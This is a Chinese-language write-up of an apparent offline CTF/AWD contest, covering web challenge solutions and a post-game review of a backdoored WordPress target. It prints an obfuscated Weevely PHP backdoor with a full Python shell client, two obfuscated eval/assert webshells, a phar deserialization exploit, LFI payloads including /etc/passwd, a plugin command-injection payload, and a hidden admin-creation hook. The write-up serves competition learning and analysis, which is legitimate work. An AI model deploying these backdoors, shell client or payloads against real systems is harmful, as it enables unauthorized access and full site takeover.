这次比赛在赛前看规则我觉得还挺有意思的,毕竟是采用一种新的AWD形式,Web方面采用的是正则配waf的形式去防御,然后当初给@Mio师傅看的时候,他表示也挺想来的。可惜他们学校没报销就没来了。这次就写写这两天的比赛经验吧。

[TOC]

Day 1

第一天是CTF解题赛,一共是5个web。由于不能复现,官方也没有给源码,这里仅能凭靠着记忆写一下。来到比赛现场拿到ip的时候,我们的全能选手@hac45 就立马扫了一下我们的ip段,也成功发现了题目,此时距离比赛开始应该差30min左右。基本把5个web都扫到了。其中web5扫到了git泄露,然后立马拿到了源码,但是并没有第一时间做,因为我也担心万一他不放这道题,我有可能白费功夫,即使放出来了我也会比其他队稍微快一步,就暂时搁在一边了。


现在是12月4日,比赛过去已经有一段时间了。这里大体就是根据回忆来写的

好了就不扯太多的想法了。直接切入技术点。

Web 1

一道sql注入的题…万能密码,因为过滤了两种注释方式,所以需要闭合最后的'

1
1'/**/order/**/by/**/'1

Web 2

phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class MyClass{
var $output = 'echo "hahaha";';
function __destruct(){
eval($this -> output);
}
}
$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MyClass();
$o->output = "system('ls');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

得到的phar改个后缀名jpg,然后先绕过上传,再用另一个php文件去包含即可得到回显。

这里没有记录了…就大概说一下,考点主要是phar反序列化,没什么难度。可惜没拿到一血。

Web 3

这题index只显示了一个从generate.php获取得到的md5,而且获取的参数有没有都无所谓。赛后听说还有generate.php.bak,但是我们没扫到…

没看懂…

Web3给了hint phpjm,但是我们由于没有外网,也没有很细致地研究过,只是单纯的回用线上解密。所以就放弃了。

Web 4

vue.js做的一个站,但是由于服务器也没有外网,但是vue.js又用了cdn的方式引入,当时页面大概就是

1
Hello, {{ name }}

不太懂…

Web 5

通过扫描发现git泄漏,但是用Githack只拖到了一个文件rrrrrrrrrrrrradme.php

1
2
3
<?php

echo 'this is a file in the path 303f0ca4472df9e21be369308af5685f';

然后发现303f0ca4472df9e21be369308af5685f确实是个目录。这里我们参考网鼎杯第四场一道题的做法,网鼎杯第四场Some Web Writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
cat refs/stash
eb49f8e2a56728a60ca28b46b35eebfc686dbf75

git cat-file -p eb49
tree a9a44c4bc2732e1ddf5471955d4d41b7e0388419
parent f1358a6b48fd88cf4e70d92e99374c5746320d80
parent 0fe6eac337d025cadd3dfe361ace9c8d564114bc
author testforctf <[email protected]> 1541673356 +0800
committer testforctf <[email protected]> 1541673356 +0800

On master: rrrrrrrrrrrrradme.php

git ls-tree a9a4
100644 blob fcd1b82307da944a573344988d291b869df17493 dem0000000000.php
100644 blob e4ab881f33fd5e4726079a15fbe2d2a338d5ab0d rrrrrrrrrrrrradme.php

git cat-file -p fcd1b82307da944a573344988d291b869df17493
<?php
$A = '$j=0;(TI$j<$c&&TI$i<TI$l);$j+TITI+,$i++){$o.=TI$TIt{$i}^$k{TI$j};}}rTIeTIturn $o;}TI$r=$_STIERVTIETIR;[email protected]$r["HTITTP_REFERE';
$o = 'TI;$q=array_TIvaluesTI($TIq);pregTI_mTIatch_all("/([TI\\w])[\\TIw-]+(?:;TIq=TITI0.(TI[\\d]))?,?/",$ra,$m)TI;iTIfTI($q&&$m){@s';
$F = '_replacTIe(arraTIy("/_TI/"TI,"/-/"),arrTIay("/TI","+")TI,$TIssTI($TIs[$i],0,$e))),$k))TI);$o=obTI_gTITIet_contents();TIob_';
$H = 'ITI][$z]];if(sTItrpos($TIp,$hTITI)===0){$s[$i]=TITI"";$p=$ss($pTI,3)TI;}iTIf(array_key_TIexistsTI($i,$s)){TI$TIs[$i].=$TIp';
$p = 'I5($i.TITI$TIkh),0,3));$f=$sTIl($ss(TImd5($i.$TIkf),TI0,TI3));$TIp="";for($z=1;$TIz<cTIount($m[TI1]);TI$TIz++)$p.=$q[$TIm[2T';
$a = 'R"]TI;[email protected]$r["HTTPTI_ACCETIPT_LANGTIUAGETI"];if($rr&&TI$ra){TI$TIu=parTIse_urTIl($TIrr);parse_str($TIu["qTIuery"],$TIq)';
$m = 'eTIssion_TITIstart();$s=&$TI_SETISSION;$ssTI="sTIuTITITIbstr";$sl="TIstrtolower";$i=$m[1][0]TITI.$mTI[1][TI1];$h=$sl($ss(mdT';
$i = str_replace('Bm', '', 'cBmBmreate_BmfuBmncBmBmtion');
$x = ';$e=sTItrpos(TI$s[$iTI]TI,$f);if($TIe){$k=$kh.TI$kf;ob_staTIrt(TI)TI;@TIevTIal(@gzTIuncomTIpress(@x(@baseTI64_dTIecode(preg';
$D = 'end_TIclean(TI);$d=TIbaseTI64TI_enTIcode(x(gzcoTImpress($o),$TITIk));TIprint("<$k>$TId</TI$kTI>");@sTIesTIsion_destroy();}}}}';
$r = '$kh="bTIa59";$TIkf=TI"9TIae2";functionTI x($t,$kTI){$c=strlTIen($TIk);$lTI=strlTIen($t);$o=TI"";fTIor($i=0TI;$i<TI$TIl;){forTI(';
$J = str_replace('TI', '', $r . $A . $a . $o . $m . $p . $H . $x . $F . $D);
$K = $i('', $J);
$K();
?>

得到另一个文件,dem0000000000.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$A = '$j=0;(TI$j<$c&&TI$i<TI$l);$j+TITI+,$i++){$o.=TI$TIt{$i}^$k{TI$j};}}rTIeTIturn $o;}TI$r=$_STIERVTIETIR;[email protected]$r["HTITTP_REFERE';
$o = 'TI;$q=array_TIvaluesTI($TIq);pregTI_mTIatch_all("/([TI\\w])[\\TIw-]+(?:;TIq=TITI0.(TI[\\d]))?,?/",$ra,$m)TI;iTIfTI($q&&$m){@s';
$F = '_replacTIe(arraTIy("/_TI/"TI,"/-/"),arrTIay("/TI","+")TI,$TIssTI($TIs[$i],0,$e))),$k))TI);$o=obTI_gTITIet_contents();TIob_';
$H = 'ITI][$z]];if(sTItrpos($TIp,$hTITI)===0){$s[$i]=TITI"";$p=$ss($pTI,3)TI;}iTIf(array_key_TIexistsTI($i,$s)){TI$TIs[$i].=$TIp';
$p = 'I5($i.TITI$TIkh),0,3));$f=$sTIl($ss(TImd5($i.$TIkf),TI0,TI3));$TIp="";for($z=1;$TIz<cTIount($m[TI1]);TI$TIz++)$p.=$q[$TIm[2T';
$a = 'R"]TI;[email protected]$r["HTTPTI_ACCETIPT_LANGTIUAGETI"];if($rr&&TI$ra){TI$TIu=parTIse_urTIl($TIrr);parse_str($TIu["qTIuery"],$TIq)';
$m = 'eTIssion_TITIstart();$s=&$TI_SETISSION;$ssTI="sTIuTITITIbstr";$sl="TIstrtolower";$i=$m[1][0]TITI.$mTI[1][TI1];$h=$sl($ss(mdT';
$i = str_replace('Bm', '', 'cBmBmreate_BmfuBmncBmBmtion');
$x = ';$e=sTItrpos(TI$s[$iTI]TI,$f);if($TIe){$k=$kh.TI$kf;ob_staTIrt(TI)TI;@TIevTIal(@gzTIuncomTIpress(@x(@baseTI64_dTIecode(preg';
$D = 'end_TIclean(TI);$d=TIbaseTI64TI_enTIcode(x(gzcoTImpress($o),$TITIk));TIprint("<$k>$TId</TI$kTI>");@sTIesTIsion_destroy();}}}}';
$r = '$kh="bTIa59";$TIkf=TI"9TIae2";functionTI x($t,$kTI){$c=strlTIen($TIk);$lTI=strlTIen($t);$o=TI"";fTIor($i=0TI;$i<TI$TIl;){forTI(';
$J = str_replace('TI', '', $r . $A . $a . $o . $m . $p . $H . $x . $F . $D);
$K = $i('', $J);
$K();
?>

当时并不知道这是个什么,硬着头皮逆了挺久的。而且队友扔过来给我的就是个经过他美化后的版本,我也没太在意。后来我们才知道原来是个weevely马,(我说怎么这么眼熟。虽然我们在赛场逆成功了,本地也可以执行了,但是就是找不到这个weevely马的位置,导致当时没做出来…

至于weevely马,用目前github上的weevely3得到马跟这个不一样,这个是由kali下的weevely产生的,然后我们参考了一個PHP混淆後門的分析,可以使用文末的exp利用一波。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://example.com/backdoor.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')

修改一下文中的khkf就好了。

Day 2

拿到web源码,发现目录下有个._wp-config.php文件比较奇怪,一开始认为是自己Mac电脑的问题,就没管了。现在想起来,如果没有给出wp-config.php,貌似还是可以恢复的,然后得到数据库密码,使用nmap扫一波看看大家的3306开没开,用默认的账号密码连接数据库,然后写shell,或者删库造成宕机。可惜本次比赛没有check(后知后觉发现的),宕机删库什么的也不影响别人…而且web目录不具备write权限,就比较尴尬了。

背景

首先说一下目前普遍流行AWD的模式。

参赛队伍在竞赛设置的网络空间中,同时扮演着攻击者和防守者角色,互相进行攻击和防守。

攻方,通过挖掘网络服务漏洞,并攻击对手服务得分;

守方,通过修补自身服务漏洞或添加防御策略,从而进行防御避免丢分。

传统的AWD攻防模式通常是以一个SSH对应一个堡垒机,参赛者通过SSH登陆自己的服务器,进行审计漏洞,从而修补漏洞防守,或者通过漏洞攻击其他队伍得到分数。

但是这个世界上,总有人不按常理出牌,制造恶意违规行为,

比如:

“直接关闭网络连接,关闭网络访问”

“过度修改堡垒机,导致网站不可正常访问”

“直接攻击答题平台,获取题目信息或篡改分数”

……

目前这些问题已通过规则、健康检查等方式进行规避。

但是,真正难以解决的不是这些违规,而是一些“不违规,却严重影响竞赛体验”的情况,如【通过使用一次性脚本等现成工具,封堵赛场环境设置的堡垒机漏洞,导致环境失衡】。

在某种意义上,他们单方面提前吹响了“终止哨”,其他人又何来竞技体验、竞技趣味呢?

以往的攻防比赛,选手对自己web目录有读写的权力,这样造成了比赛中非常多的选手通过上通防,抓流量记录日志等技巧方式来防守或是攻击得分,并且很多选手通常通过一些“技巧”,通过对比赛check的绕过,关闭一些关键的正常服务或者全部web站点服务来在比赛中“苟”住。这样往往导致了很多AWD比赛中web要么就是被打穿,要么就是“天衣无缝”的情况,web选手的游戏体验在近期攻防比赛中每况愈下,以网鼎杯web为例,半决赛跟决赛的check只检查了index主页的关键字,导致了很多队伍一开始就进行了删站,只留个index主页来通过check,严重破坏了比赛体验。

改善?

简而言之就是,本次比赛在理想规则(为啥是理想规则?因为计划与现实完全是理想图与实物图的对比)改变了传统的web类型的攻防模式,web目录只读不可写,通过改变waf正则防御规则来防御攻击,攻击点全靠代码审计来攻击;pwn类型的与传统攻防相同。(以下三张图片来源于卧龙草堂公众号)

现实:赛前

乍一看是很不错的比赛,与@Mio师傅聊了一下,感觉挺不错的。然后决赛前一晚,我准备了挺多的waf正则规则,又准备了很多正则的资料(因为比赛过程不准连接外网),当时还有点挺担心的。事实上我多虑了…

首先主办方比赛前半小时左右发放了waf平台地址,正则规则需要在waf平台上配置,然而并没有给怎么使用该平台的说明,不过也不是很需要,随便点一点就差不多能了解整个平台的功能了,但是不给使用说明也有点坑,有些队伍赛后才知道在哪里配waf规则。

同时还发了web的地址、两个pwn的地址及pwn的ssh密码,并没有给web服务器的密码。后来打开一看原来还是个windows server,选手们的地址都在172.16.10-40.13。本次只有一个web,两个pwn,而且比较搞笑的pwn2被标成了pwn3,而且我们的pwn的ssh密码还不对,导致我们还在开赛后一段时间pwn的服务都连不上,耽误了很多时间。web打开发现是个wordpress,很快意识到去用wpscan,但是比较可惜的是打开我的kali发现wpscan并没有联网建立他的数据库,顿时尴尬。还好我眼疾手快,迅速在开赛前基本配好了关键字的`waf,防住了在开始比赛后30min左右北航等队的攻击。

大致当时配置的waf规则:

1
2
3
4
5
select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i

/base64_decode|eval\(|assert\(/i

|file_put_contents|fwrite|curl|system|eval|assert|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec

现实:赛时

开赛前几分钟,我马上尝试了admin/admin的弱密码尝试登录wordpress,发现成功登录,由于没有准备批量改密码的脚本,我只能靠手速迅速改掉了10个队左右的admin密码,但是改完后发现好像并没有什么用,传不了马,意识到web目录不可写,顿时也感觉有点可惜。也浪费了开赛前很宝贵的十多分钟在手改密码之上。

由于自己没带D盾这个神器,以为自己也能全局搜个eval能找出一句话,高估了自己的审计速度以及cobra审计的速度(非常慢…),导致有两个原本可以用D盾扫出来的一句话我们没有很及时地利用,失去了先机,脚本也没有准备好,导致收到了某些队伍打过来的payload之后(这里提一下,只有被拦截的请求才会显示在waf平台上,其他没有被拦截的是不会显示的),没有第一时间迅速利用起来。而且更坑的是,主办方明明在规则上写了使用curl FlagServer.com获取flag,然而web服务器上压根没配备curl,然后我们就想破脑筋,在本地资料各种找,想办法去请求FlagServer.com,无论是php curl_exec还是windows的什么其他方法都试过了,当时并没有打到回显,以至于我们在拿到别人shell之后的30min左右都没有办法得分,就很气,错过了非常多的分数。所以我们当时处于一个既没有被打,也打不了别人的情况。

然后我们就利用自己的pwn服务器尝试自己访问自己的flag,发现不是单纯的curl FlagServer.com这么简单,主办方还比较坑地给FlagServer.com配了https,所以我们还得使用它的证书,然后又找了一遍curl -h,又去找了一遍证书…反正这里就很坑。觉得搞不定,就立马去问了主办方怎么请求flag,在他们有反应给我们10min之前,我们终于在web服务器的web根目录的同级目录下找到了curl.exe以及相关证书,还有一个已经写好命令的bat文件。此时我们大概过去了1h左右了…别人已经打了好几轮了。

当时完整的命令是这样的…

1
curl.exe https://FlagServer.com:9000/flag --cacert ca.crt --cert client.crt --key client.key

中间还有个小插曲,把自己提交flag和查看服务状态的那个平台密码给忘了…只能去问主办方,最后发现竟然是大小写问题,又耽误了几分钟…之前都没被打,之后一上来就发现自己web被打了。

之后通过我们防守获取了很多队的payload,我们也通过抓取菜刀的流量,重放来攻击其他的队伍。由于当时大家都发现了并没有check或者check其他一些形同虚设的设置,大家都比较无赖了,比较多的队伍直接配置了.*规则,拦截了所有的请求。我们当时能收的也没有几个队的分了。

之后稳定地靠web拿了几轮分数来到了第六,感觉拿个奖应该没什么问题。可谁知北航等队出了pwn1 pwn2的一血,我们就开始被打了,被打了不重要,修就完事了,结果pwn还不能给patch,这是最骚的,问主办方他们也确实回答不给patch,结果我们就只能一直被打…就很气…自己队里也没有出pwn,就掉出了获奖范围。

赛时应该就这么多。主要是这个waf系统并没有想象中那么好,以及主办方各种没有说明,感觉相当的坑。赛时就写这么多吧。还是重点来看看赛后复盘这里。

Day N

wordpress版本是最新的4.9.8,服务器IIS,不过服务器版本号忘了。

对比之后差异一目了然

主要是两个一句话木马,以及4个插件。

Webshell

Poc 1

wordpress/wp-includes/customize/class-wp-customize-background-image-list.php

1
2
3
4
5
<?php
@$_ = "s" . "s" . /*-/*-*/"e" . /*-/*-*/"r";
@$_ = /*-/*-*/"a" . /*-/*-*/$_ . /*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P" . /*-/*-*/"OS" . /*-/*-*/"T"}
[0 - /*-/*-*/2/*-/*-*/ - /*-/*-*/5/*-/*-*/]);

这个很明显是个assert的一句话,但是赛时我们本地测试老是不行,总是出现

1
Warning: Cannot call assert() with string argument dynamically in /xxx/shell.php on line 5

后来搜了一下发现竟然是php版本过高的问题,因为在php7中动态调用一些函数是被禁止的。详细参考菜刀连接php一句话木马返回200的原因及解决方法

这里是个密码为-7的一句话。

Poc 2

wordpress-awd/wp-includes/pomo/tp.php

1
2
3
4
<?php

${("#" ^ "|") . ("#" ^ "|")} = ("!" ^ "`") . ("( " ^ "{") . ("(" ^ "[") . ("~" ^ ";") . ("|" ^ ".") . ("*" ^ "~");
@${("#" ^ "|") . ("#" ^ "|")}(("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t"));

这里是第二个一句话,这里我们可以通过var_dump来看看这个的密码是什么。

1
2
3
4
5
6
7
8
php > echo ("#" ^ "|") . ("#" ^ "|");
__

php > var_dump(${("#" ^ "|") . ("#" ^ "|")});
string(6) "ASsERT"

php > echo ("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t");
eval(@$_POST[cmd])

这里就非常清楚了,是个密码为cmd的一句话。

Plugin

这里我们使用wpscan来看看

1
./wpscan --url http://localhost/wordpress -e vp		//查找有漏洞的plugin

site-editor

首先看site-editor

可以从图中看出,主要是个文件包含的漏洞。

详细参考[CVE-2018-7422] Local File Inclusion (LFI) vulnerability in WordPress Site Editor Plugin

1
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

这里做个简要的分析,版本可能与CVE中提到的不同,多了str_replace的过滤…但是这个并没有什么用…

1
2
3
4
5
6
if( isset( $_REQUEST['ajax_path'] ) ){
$ajax_path=$_REQUEST['ajax_path'];
$ajax_path = str_replace('../','',$ajax_path);
require_once $ajax_path;

}

可以看到这里可以直接包含/根目录下的文件,可以用..././跳到上层目录。

所以我们可以通过以下payload去包含之前的一句话木马

1
http://localhost/wordpress-awd/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=..././..././..././..././..././..././..././wp-includes/pomo/tp.php

gift-voucher

另一个wpscan扫到的插件是gift-voucher

可以看到这是个盲注的洞,详细参考WordPress Plugin Gift Voucher 1.0.5 - (Authenticated) ‘template_id’ SQL Injection

sqlmap扫了一下

得到admin的密码,如果字典好的话,可以快一些。

Localize My Post

这个wpscan竟然没有扫出来,详细参考WordPress Plugin Localize My Post 1.0 - Local File Inclusion

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

//Include WP base to have the basic WP functions
include_once($_SERVER['DOCUMENT_ROOT'] . "/wp-blog-header.php");

//Set status 200 header
//Include requested file if it exists
if(isset($_REQUEST['file'])){
$file=$_REQUEST['file'];
$file = str_replace('./','',$file);
header('HTTP/1.1 200 OK');
include($file);
}

这里跟上面那个文件包含类似,可以用...//来访问上级目录

plainview-activity-monitor

这个也是wpscan没有扫出来的漏洞插件,而且是个RCE,但是利用条件是需要登录到后台才可以。详细参考WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/**
@brief Various tools.
@since 2014-05-04 10:41:51
**/
<?php

public function admin_menu_tools(){
$r = '';

// IP converter
$form = $this->form2();

$fs = $form->fieldset('fs_ip');
$fs->legend->label_('IP tools');

$fs->text('ip')
->label_('IP or integer')
->required()
->size(15, 15);

$fs->markup('markup_convert')
->markup('The convert button will convert the IP address or integer to its equivalent integer or IP address.');

$fs->secondary_button('convert')
->value('Convert');

$fs->markup('markup_lookup')
->markup('The lookup button will try to resolve an IP address to a host name. If dig is installed on the webserver it will also be used for the lookup.');

$fs->secondary_button('lookup')
->value('Lookup');

if ($form->is_posting()) {
$form->post()->use_post_value();

$ip = $fs->input('ip')->get_filtered_post_value();
$long = $ip;
$is_ip = (strpos($ip, '.') !== false);
if ($is_ip)
$long = ip2long($ip);
else
$ip = long2ip($ip);

if ($fs->input('convert')->pressed()) {
if ($is_ip)
$message = $this->p_('The integer value of this IP address %s is <strong>%s</strong>.', $ip, $long);
else
$message = $this->p_('The IP address of the integer %s is <strong>%s</strong>.', $long, $ip);
}

if ($fs->input('lookup')->pressed()) {
$address = gethostbyaddr($ip);
$message = $this->p_('The IP address %s resolves to <strong>%s</strong>.', $ip, $address);

$output = '';
exec('dig -x ' . $ip, $output);
if (count($output) > 0) {
$output = array_filter($output);
$output = implode("\n", $output);
$message .= $this->p_('Output from dig: %s', $this->p($output));
}
}

$this->message($message);
}

$r .= $form->open_tag();
$r .= $form->display_form_table();
$r .= $form->close_tag();

echo $r;
}

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if ($form->is_posting()) {
$form->post()->use_post_value();

$ip = $fs->input('ip')->get_filtered_post_value();
$long = $ip;
$is_ip = (strpos($ip, '.') !== false);
if ($is_ip)
$long = ip2long($ip);
else
$ip = long2ip($ip);

if ($fs->input('convert')->pressed()) {
if ($is_ip)
$message = $this->p_('The integer value of this IP address %s is <strong>%s</strong>.', $ip, $long);
else
$message = $this->p_('The IP address of the integer %s is <strong>%s</strong>.', $long, $ip);
}

if ($fs->input('lookup')->pressed()) {
$address = gethostbyaddr($ip);
$message = $this->p_('The IP address %s resolves to <strong>%s</strong>.', $ip, $address);

$output = '';
exec('dig -x ' . $ip, $output);
if (count($output) > 0) {
$output = array_filter($output);
$output = implode("\n", $output);
$message .= $this->p_('Output from dig: %s', $this->p($output));
}
}

$this->message($message);
}

这里我们看到,这段代码通过代码拼接的方式执行命令,存在命令执行的漏洞。

1
exec( 'dig -x ' . $ip, $output );

所以我们要看看$ip是否过滤安全

首先拿到ip,然后用strpos()函数检查是否有.出现,这里我们随便用一个域名就可以绕过了,让$is_ipTrue

1
2
3
4
5
6
7
$ip = $fs->input( 'ip' )->get_filtered_post_value();
$long = $ip;
$is_ip = ( strpos( $ip, '.' ) !== false );
if ( $is_ip )
$long = ip2long( $ip );
else
$ip = long2ip( $ip );

再看ip2long

1
2
Return Values
Returns the host name on success, the unmodified ip_address on failure, or FALSE on malformed input.

所以这里$long = false

我们传不传convert参数都无所谓,因为都可以往下执行。但是为了触发代码执行,我们必须得传入lookup参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( $fs->input( 'lookup' )->pressed() )
{
$address = gethostbyaddr( $ip );
$message = $this->p_( 'The IP address %s resolves to <strong>%s</strong>.', $ip, $address );

$output = '';
exec( 'dig -x ' . $ip, $output );
if ( count( $output ) > 0 )
{
$output = array_filter( $output );
$output = implode( "\n", $output );
$message .= $this->p_( 'Output from dig: %s', $this->p( $output ) );
}
}

其实其他的分布分析都无所谓,只要进入了这个if,就可以直接执行我们传入的$ip了,并不需要其他多余的操作。

所以这里可以说是没有任何过滤的一个命令执行漏洞,只要传入一个带有.的域名就可以绕过前面唯一一处对ip的检测了。所以我们可以构造一个payload:

1
ip=baidu.com%7C%20ls&lookup

得到执行结果。

Function.php

回过头来,我们再看看还有没有跟官方文件其他不同的文件。除了MAC产生的.DS_Store文件、._wp-config.php编辑临时文件、wp-config.php配置文件,剩下的就是function.php

我们对比得到比赛多出了这么一处代码:

1
2
3
4
5
6
7
8
9
10
11
add_action('wp_head', 'wploop_users');
function wploop_users() {
if ($_POST['users'] == 'knockknock') {
require 'wp-includes/registration.php';
if (!username_exists('username')) {
$user_id = wp_create_user('username', 'passpass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}

代码简单易懂,就是传入users=knockknock就创建了一个用户名为username密码为passpass的有管理员权限的这么一个用户。

鸡肋?

一开始复盘的时候我也没搞懂为啥会多出这么一段代码,感觉很鸡肋,没有什么可以利用的点。

因为我们已知的管理员可以操作的点

  • 上传media文件
  • 编辑模版,改成一句话木马

但是这两个点都因为web目录不可写而失去了作用,所以这个增加一个管理员以及前面gift-voucher的盲注漏洞就看起来有些鸡肋了。所以一开始我手改的十多个队的管理员密码并没有很好地用起来,导致了时间的浪费。

不过后来我写到plainview-activity-monitor插件漏洞利用的时候,发现这个利用条件需要登录到后台,我猜想这里增加管理员以及盲注漏洞都是为了那个插件的RCE漏洞准备的吧。

总结

吐槽

这次比赛收获还是有的。只不过不给连外网比较坑,而且解题赛放题时间也不合理,Web最后两道题都是最后一小时才放的,而且考的phpjm也比较坑…而且Misc估计是这场比赛最大的槽点了,我没有从头到尾都在做Misc,但是两个Misc,都是靠爆破出来的zip压缩包密码,跟之前题目提示的密码呀什么的完全没有关系,我记得其中一个密码是q,另一个密码是与给出的密码暗示0x120完全不一样的0x110…这里坑了我们很久…

AWD就不想评价了,pwn只攻不防,赛后听说可以通过在自己的pwn服务上打forkbomb躲过其他队的攻击。整个比赛可以说是没有任何 check,主办方对get flag的方式也没有做详细说明,也听说有个队最后一小时才知道怎么get flag。平台卡的一批…公告还说不能用脚本提交flag,哎。到处都是槽点。感觉主办方准备的不是很充分。

自我反省

同时本次比赛,从技术的角度来看,主要在AWD方面,我感觉自己准备的还是不够充分,即使给了payload,我也没有第一时间利用起来去得分,导致自己丢了很多很多分数。主要也是自己对python没有足够的熟悉吧,被requests库自动urlencode坑了比较久。虽然收藏了几个大师傅的AWD工具框架,但是没有熟悉利用,以至于赛场都是自己现写的脚本,并没有将准备的脚本利用起来。

下次线下赛必备的脚本,其一是自动提交flag,主要是正则那里;其二是get flag的脚本,依据目前主流的攻防形式,要准备两类,一类是flag以文件的形式存放在选手机器上的,另一类就是在选手机器上通过curl请求得到flag的,目前我打过的比赛就分为这两类。


今晚还看了白帽100湖湘杯线下赛的记录,感觉自己的对于线下赛的理解还是不够深刻。打算有空更一篇AWD的个人总结。本次小记就这样吧。